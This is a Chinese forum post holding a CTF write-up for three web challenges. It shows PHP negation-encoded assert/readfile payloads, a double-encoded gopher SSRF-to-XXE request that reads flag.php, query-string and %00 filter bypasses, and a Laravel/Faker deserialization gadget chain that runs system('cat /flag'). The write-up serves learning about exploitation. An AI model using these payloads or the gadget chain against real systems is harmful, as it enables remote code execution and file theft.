用户
搜索

该用户从未签到

i春秋-呆萌菜鸟

Rank: 1

4

主题

5

帖子

56

魔法币
收听
0
粉丝
0
注册时间
2019-11-29
发表于 2020-7-8 10:26:14 23734

第五空间智能安全大赛-部分web

前言


这次的题目难度没有特别变态,但是也是充满挑战,打完一场比赛最重要的也是整理总结,因此有了今天的WP总结,也是记录自己学习的过程。由于题目环境部分没法复现,因此可能用到其他师傅的图,敬请谅解~

正文

hate-php

​   题目直接给的代码:

 <?php
error_reporting(0);
if(!isset($_GET['code'])){
    highlight_file(__FILE__);
}else{
    $code = $_GET['code'];
    if (preg_match('/(f|l|a|g|\.|p|h|\/|;|\"|\'|\`|\||\[|\]|\_|=)/i',$code)) { 
        die('You are too good for me'); 
    }
    $blacklist = get_defined_functions()['internal'];
    foreach ($blacklist as $blackitem) { 
        if (preg_match ('/' . $blackitem . '/im', $code)) { 
            die('You deserve better'); 
        } 
    }
    assert($code);
} 

过滤了flag . p h / ; " ' \`| [ ] __这些字符,没有过滤取反和异或,把内置定义的函数和这些都给过滤了,然后assert执行,所以这里考虑使用取反,原本想法是用取反一句话shell,但是过滤了[]因此行不通,直接构造 readfile(flag.php)

<?
$a = "r e a d f i l e";
//$a = 'f l a g . p h p'
$arr1 = explode(' ', $a);
echo "<br>~(";
foreach ($arr1 as $key => $value) {
    echo "%".bin2hex(~$value);
}
echo ")<br>";
//(~%8d%9a%9e%9b%99%96%93%9a)(~%99%93%9e%98%d1%8f%97%8f);

考虑到此处直接提供了assert函数,而且是PHP7的版本,因此可以进行RCE

?code=(~%91%9a%87%8b)(~%98%9a%8b%9e%93%93%97%9a%9e%9b%9a%8d%8c());
//("assert")(("next")(("getallheaders")()));

抓包在headers中添加任意一项,其值就是构造的命令,发现给ban了,仔细看了下正则,发现禁了字母g,所以这条路还是行不通,直接readfile

do you know

又是上来给代码,这里把代码贴上:

<?php
highlight_file(__FILE__);
$poc=$_SERVER[‘QUERY_STRING‘];
if(preg_match("/log|flag|hist|dict|etc|file|write/i" ,$poc)){
                die("no hacker");
        }
$ids=explode(‘&‘,$poc);
$a_key=explode(‘=‘,$ids[0])[0];
$b_key=explode(‘=‘,$ids[1])[0];
$a_value=explode(‘=‘,$ids[0])[1];
$b_value=explode(‘=‘,$ids[1])[1];
if(!$a_key||!$b_key||!$a_value||!$b_value)
{
        die(‘我什么都没有~‘);
}
if($a_key==$b_key)
{
    die("trick");
}
if($a_value!==$b_value)
{
        if(count($_GET)!=1)
        {
                die(‘be it so‘);
        }
}
foreach($_GET as $key=>$value)
{
        $url=$value;
}
$ch = curl_init();
    if ($type != ‘file‘) {
        #add_debug_log($param, ‘post_data‘);
        // 设置超时
        curl_setopt($ch, CURLOPT_TIMEOUT, 30);
    } else {
        // 设置超时
        curl_setopt($ch, CURLOPT_TIMEOUT, 180);
    }
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
   // 设置header
    if ($type == ‘file‘) {
        $header[] = "content-type: multipart/form-data; charset=UTF-8";
        curl_setopt($ch, CURLOPT_HTTPHEADER, $header);
    } elseif ($type == ‘xml‘) {
        curl_setopt($ch, CURLOPT_HEADER, false);
    } elseif ($has_json) {
        $header[] = "content-type: application/json; charset=UTF-8";
        curl_setopt($ch, CURLOPT_HTTPHEADER, $header);
    }
    // curl_setopt($ch, CURLOPT_USERAGENT, ‘Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)‘);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
    curl_setopt($ch, CURLOPT_AUTOREFERER, 1);
    // dump($param);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $param);
    // 要求结果为字符串且输出到屏幕上
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    // 使用证书:cert 与 key 分别属于两个.pem文件
    $res = curl_exec($ch);
    var_dump($res);

出现了curl还有xxe.php,是比较明显的xxe漏洞的点,做了一些过滤

//xxe.php
$data = isset($_POST['data'])?trim($_POST['data']):'';
$data = preg_replace("/file|flag|write|xxe|test|rot13|utf|print|quoted|read|string|ASCII|ISO|CP1256|cs_CZ|en_AU|dtd|mcrypt|zlib/i",'',$data);

置换为空,因此双写绕过即可,但是这里限制了必须要是

$_SERVER['REMOTE_ADDR'] == '127.0.0.1'

所以很明显是利用前者进行SSRF,从而构造xml来进行xxe,这里介绍两种解法,先将预期解法,也就是利用Gopher协议打gopher进行SSRF从而XXE任意文件读取。

解法1

首先要清楚,如何来绕过上面的限制

if($a_value!==$b_value)
{
        if(count($_GET)!=1)
        {
                die(‘be it so‘);
        }
}

其实当我们请求的两个参数的键值相同时,就绕过了这个点,因此,我们只需要构造好gopher即可,但是

$poc=$_SERVER[‘QUERY_STRING‘];
if(preg_match("/log|flag|hist|dict|etc|file|write/i" ,$poc)){
                die("no hacker");
        }

所以即使我们在双写的时候,也需要将关键字给编码一下

这里需要明白我们浏览器和服务器处理数据的流程,我们传入的参数会经过浏览器的urlencode然后传给服务器,我们服务器收到之后会先进行urldecode,然后拿去正则判断,如果过去之后,则交由后续的程序处理,这里我们进行urlencode编码绕过即可,对我们的字母同样进行urlencode,即%+十六进制;

因此我们首先构造好的gopher是这样的(注意gopher的格式是gopher://ip:port/)

gopher://127.0.0.1:80/_POST /xxe.php HTTP/1.1
Host:127.0.0.1
User-Agent:+curl/1.1.0
Accept:*/*
Content-Length:174
Content-Type: application/x-www-form-urlencoded

data=<?xml+version="1.0"?><!DOCTYPE+ANY [<!ENTITY+xx+SYSYSTEMSTEM "php://filter/rereadad=convert.base64-encode/resource=fifilele:///var/www/html/fflaglag.php">]><x>&xx;</x>

然后把xml中的引用&进行urlencode之后是这样的:

gopher://127.0.0.1:80/_POST /xxe.php HTTP/1.1
Host:127.0.0.1
User-Agent:+curl/1.1.0
Accept:*/*
Content-Length:174
Content-Type: application/x-www-form-urlencoded

data=<?xml+version="1.0"?><!DOCTYPE+ANY [<!ENTITY+xx+SYSYSTEMSTEM "php://filter/rereadad=convert.base64-encode/resource=fifilele:///var/www/html/fflaglag.php">]><x>%26xx;</x>

接着就是把所有的符号全部进行urlencode,得到的是这样的:

gopher://127.0.0.1:80/_POST%20/xxe.php%20HTTP/1.1%0d%0aHost:127.0.0.1%0d%0aUser-Agent:+curl/1.1.0%0d%0aAccept:*/*%0d%0aContent-Length:174%0d%0aContent-Type:%20application/x-www-form-urlencoded%0d%0a%0d%0adata=%3c%3fxml+version%3d%221.0%22%3f%3e%3c!DOCTYPE+ANY+%5b%3c!ENTITY+xx+SYSYSTEMSTEM+%22php%3a%2f%2ffilter%2frereadad%3dconvert.base64-encode%2fresource%3dfifilele%3a%2f%2f%2fvar%2fwww%2fhtml%2ffflaglag.php%22%3e%5d%3e%3cx%3e%2526xx%3b%3c%2fx%3e

接下来就需要将过滤的关键字如fileflag等中间某个字符进行urlencode以绕过正则,其他的需要进行二次编码,将%替换为%25,得到的是:

gopher%3a%2f%2f127.0.0.1%3a80%2f_POST%2520%2fxxe.php%2520HTTP%2f1.1%250d%250aHost%3a127.0.0.1%250d%250aUser-Agent%3a+curl%2f1.1.0%250d%250aAccept%3a*%2f*%250d%250aContent-Length%3a174%250d%250aContent-Type%3a%2520application%2fx-www-form-urlencoded%250d%250a%250d%250adata%3d%253c%253fxml%2bversion%253d%25221.0%2522%253f%253e%253c!DOCTYPE%2bANY%2b%255b%253c!ENTITY%2bxx%2bSYSYSTEMSTEM%2b%2522php%253a%252f%252ffilter%252fre%72eadad%253dconvert.base64-encode%252fresource%253dfi%66ilele%253a%252f%252f%252fvar%252fwww%252fhtml%252ff%66laglag.php%2522%253e%255d%253e%253cx%253e%252526xx%253b%253c%252fx%253e

如果直接使用curl是不需要二次编码的,在浏览器框中输入才需要进行二次编码,这样的话我们利用构造好的gopher打过去,就能得到flag的base64加密了。

Content-Length:174表示发送数据的大小
例如我们POST data=xxx,则Content-Length为8,无论你进行多少次url编码,都会将我们发送的数据解码成data=xxx,所以有时候我们进行多次url编码,但是服务器还是能识别,这就是Content-Length的作用

因此,这里可以总结构造gopher进行POST请求步骤:

  • 构造好发送包,即gopher要传输的包
  • Content-Length的长度是先将data后的值进行urlencode加上data=,也就是在加上5的总长度
  • 在使用burp对特殊key进行urlencode
  • 最后只需要将换行再转化成%250a%250d
  • 构造gopher://127.0.0.1:80_+上述得到的字符,最终构造好了整个gopher

解法二

这里过滤了fileflag,其实在这里只需要进行一次urlencode,就能轻松绕过,例如我在D盘下有一个flag.txt,通过==urlencode== file:///D:/flag.txt即可查看

因为此处出题人使用的是$_SERVER['QUERY_STRING'],是不会进行urldecode的,但是$_GET会进行urldecode,因此就有了上述的操作

不妨动态调试一下:当我们传入的是urlencode时:

此时$poc并没有进行urldecode,因此能够过正则,继续往下当进行到\$_GET操作时:

此时进行urldecode,因此能够绕过正则来用file读取文件。

解法三

其实在这里是对$a_key==$b_key进行绕过,我们知道%00是截断符,那么如果我们构造:

?a%00=1&a=%66%69%6c%65%3a%2f%2f%2f%44%3a%2f%66%6c%61%67%2e%74%78%74

这个时候count($_GET)==1但是$a_key!==$b_key

同样能够达到相同的目的。

laravel

googlehack一波发现之前爆过laravel框架的一些漏洞,包括sql还有反序列化导致的rce等等的一些问题,所以我们着手于这些个已知漏洞为目标来进行寻找,那就直接开审

先是看到了和之前5.7一样的反序列化的入口,出题人也相应增加了这个路由

既然能够有反序列化,那么接下来应该找析构和构造函数,全局搜索__destruct,找到了很多,但是最终选择

)

为什么选择它?因为这里$parent$route可控,并且会反序列化时会触发

$this->parent->addCollection($this->route);

这样当$parent是其他类时,便会触发这个类的__call()方法,而其他类中的析构函数中就是直接调用自己类的方法,因此无法触发其他类的__call(),继续全局搜索这个魔术方法:

跟进format一探究竟,注意调用call方法特性会将$method=addCollection,$attributes=$this->route$arguments是类中没有定义的函数的参数,为一个数组。为了更好的理解call函数的特性,请看下面这个例子:

这里可以很明显的看到调用__call()后会将addCollection作为$method,而$this->route则作为数组$attributes$,因此回到题目的format()方法

这里用了回调函数,并且将$methodaddCollection作为第一个参数传入,$attributes$this->route作为第二个参数传入,继续跟进getFormatter()

$formatters出题人已经帮我们构造好了,是一个array(),我们只需要使得$this->formatters[$formatter]=system,然后$this->route=ls,便能够进行RCE。

php7.1以上的反序列化不会判断属性类型,所以可以无视类型,直接用public

编写exp如下:

<?php
namespace Symfony\Component\Routing\Loader\Configurator{
    class ImportConfigurator{
        public $parent;  
        public $route;
        public function __construct($parent,$route)
       {
        $this->parent = $parent;
        $this->route = $route;
        }
        public function __destruct(){
            return $this->parent->addCollection($this->route);
        }
    }
}

namespace Faker{        
    class Generator{
        public $providers = array();   
        public $formatters = array();
        public function __construct(){
            $this->formatters = array("addCollection"=>"system");  //$this->formatters[$formatter]=$this->formatters['addCollection'] = system
        }

    }
}
namespace{
    $crispr = new Symfony\Component\Routing\Loader\Configurator\ImportConfigurator(new Faker\Generator(),"cat /flag");//将Generator类作为第一个参数,以触发Generator类的__call()方法
    echo serialize($crispr);
}
//O:64:"Symfony\Component\Routing\Loader\Configurator\ImportConfigurator":2:{s:6:"parent";O:15:"Faker\Generator":2:{s:9:"providers";a:0:{}s:10:"formatters";a:1:{s:13:"addCollection";s:6:"system";}}s:5:"route";s:9:"cat /flag";}

本帖被以下淘专辑推荐:

可以的,思路还挺多,不错
使用道具 举报 回复
思路很好啊
使用道具 举报 回复
发新帖
您需要登录后才可以回帖 登录 | 立即注册